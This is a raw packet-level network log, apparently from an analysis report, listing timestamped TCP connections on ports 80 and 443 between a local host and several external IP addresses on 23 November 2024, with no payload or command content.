Nov 23, 2024 20:23:48.120170116 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.120273113 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:48.120290041 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.121193886 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.121313095 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.121417999 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:48.122246981 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.122374058 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.122427940 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:48.123281002 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.123402119 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.124320984 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.124449015 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.124763012 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:48.125360966 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.125468016 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.125507116 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:48.126414061 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.126481056 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.126519918 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:48.127501965 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.127546072 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.127696991 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:48.128489971 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.128609896 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:48.128611088 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.129504919 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.129627943 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.129702091 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:48.130553961 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.130733967 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:48.130752087 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.131597042 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.131714106 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.132018089 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:48.132641077 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.132780075 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:48.132781982 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.133676052 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.133773088 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.133897066 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:48.134735107 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.134845018 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.134876966 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:48.135737896 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.135921955 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.135946989 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:48.136781931 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.136908054 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.136955023 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:48.137870073 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.137943029 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.138135910 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:48.138870955 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.138984919 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:48.138988018 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.139971018 CET	80	49883	185.215.113.43	192.168.2.4
Nov 23, 2024 20:23:48.140001059 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.140058994 CET	49883	80	192.168.2.4	185.215.113.43
Nov 23, 2024 20:23:48.140060902 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.140095949 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:48.140964985 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.141063929 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.141082048 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:48.141983986 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.142081976 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.142117023 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:48.143066883 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.143074036 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.143202066 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:48.144040108 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.144149065 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.144164085 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:48.144629955 CET	49883	80	192.168.2.4	185.215.113.43
Nov 23, 2024 20:23:48.145150900 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.145200014 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:48.145257950 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.146121025 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.146210909 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.146238089 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:48.151293993 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:48.152172089 CET	443	49881	104.21.33.116	192.168.2.4
Nov 23, 2024 20:23:48.152414083 CET	49881	443	192.168.2.4	104.21.33.116
Nov 23, 2024 20:23:48.160547018 CET	49881	443	192.168.2.4	104.21.33.116
Nov 23, 2024 20:23:48.160567999 CET	443	49881	104.21.33.116	192.168.2.4
Nov 23, 2024 20:23:48.161478043 CET	443	49881	104.21.33.116	192.168.2.4
Nov 23, 2024 20:23:48.164247990 CET	49881	443	192.168.2.4	104.21.33.116
Nov 23, 2024 20:23:48.164460897 CET	49881	443	192.168.2.4	104.21.33.116
Nov 23, 2024 20:23:48.164473057 CET	443	49881	104.21.33.116	192.168.2.4
Nov 23, 2024 20:23:48.294399023 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.294617891 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.294794083 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.294842005 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.294874907 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:48.295003891 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:48.295880079 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.295964003 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.296461105 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:48.296981096 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.297075033 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.297152996 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:48.297921896 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.298018932 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.298995972 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.299046993 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:48.299109936 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.299736977 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:48.299992085 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.300117016 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.300194979 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:48.301161051 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.301269054 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.302073002 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.302110910 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:48.302190065 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.302325964 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:48.303180933 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.303355932 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.303668976 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:48.304141045 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.304264069 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.304461956 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:48.305269003 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.305450916 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.305543900 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:48.306459904 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.306519032 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.307243109 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.307423115 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.307636023 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:48.308305979 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.308427095 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.308486938 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:48.309422016 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.309528112 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.309731007 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:48.310422897 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.310507059 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.311413050 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.311472893 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.311512947 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:48.311750889 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:48.312484980 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.312623978 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.313482046 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.313625097 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.313633919 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:48.313700914 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:48.314529896 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.314670086 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.315599918 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.315710068 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.315752029 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:48.315819025 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:48.316683054 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.316777945 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.317723036 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.317816019 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.317843914 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:48.317919016 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:48.318721056 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.318852901 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.318949938 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:48.319720030 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.319869041 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.320812941 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.320941925 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.320971012 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:48.321829081 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.321896076 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:48.321959019 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.322916985 CET	80	49883	185.215.113.43	192.168.2.4
Nov 23, 2024 20:23:48.322948933 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:48.323004961 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.323036909 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.323884010 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.323915958 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:48.324037075 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.324906111 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.325010061 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.325048923 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:48.325325012 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:48.325938940 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.326062918 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.326234102 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:48.326998949 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.327101946 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.327224016 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:48.328099966 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.328155041 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.328490973 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:48.329087019 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.329201937 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.330082893 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.330193996 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:48.330199003 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.331156969 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.331216097 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:48.331269026 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.331823111 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:48.332433939 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.332665920 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.333254099 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.333288908 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:48.333304882 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.334296942 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.334332943 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:48.334441900 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.335303068 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.335336924 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:48.335434914 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.335691929 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:48.336349010 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.336476088 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.337378979 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.337415934 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:48.337585926 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.338416100 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.338481903 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:48.338557959 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.339442968 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.339477062 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:48.339586973 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.340070963 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:48.340500116 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.340552092 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.341525078 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.341706038 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:48.341748953 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.342242956 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:48.342555046 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.342699051 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.342993975 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:48.343594074 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.343719959 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.343863964 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:48.344659090 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.344773054 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.345752001 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.345784903 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:48.345814943 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.346740961 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.346771955 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:48.347090960 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.347804070 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:48.347827911 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.348273039 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.348486900 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:48.348870039 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.397192955 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:48.470427990 CET	443	49879	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:48.474366903 CET	443	49879	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:48.477025032 CET	49879	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:48.495532036 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.495659113 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.496054888 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.496124029 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.496237993 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:48.497073889 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.497152090 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.497188091 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:48.498091936 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.498137951 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:48.498202085 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.499140024 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.499222994 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:48.499233961 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.499742985 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:48.500176907 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.500267029 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.501223087 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.501265049 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:48.501327038 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.502255917 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.502293110 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:48.502357960 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.503269911 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.503356934 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:48.503376007 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.503570080 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:48.504297018 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.504420042 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.505366087 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.505410910 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:48.505464077 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.506447077 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.506486893 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:48.506618977 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.507442951 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.507479906 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:48.507558107 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.507879972 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:48.508476019 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.508616924 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.509479046 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.509507895 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:48.509599924 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.510526896 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.510555983 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:48.510699987 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.511679888 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.511718988 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:48.511729956 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.512116909 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:48.512664080 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.512758017 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.513633966 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.513667107 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:48.513746023 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.514707088 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.514744043 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:48.514769077 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.515664101 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:48.515777111 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.515897989 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.516784906 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.516834021 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:48.516881943 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.517822981 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.517910004 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.517911911 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:48.518883944 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.518918037 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:48.519001007 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.519571066 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:48.519884109 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.519989967 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.520947933 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.520993948 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.521015882 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:48.521977901 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.522058010 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:48.522175074 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.523003101 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.523053885 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:48.523113966 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.523788929 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:48.524049044 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.524127007 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:48.525063992 CET	80	49870	185.215.113.16	192.168.2.4
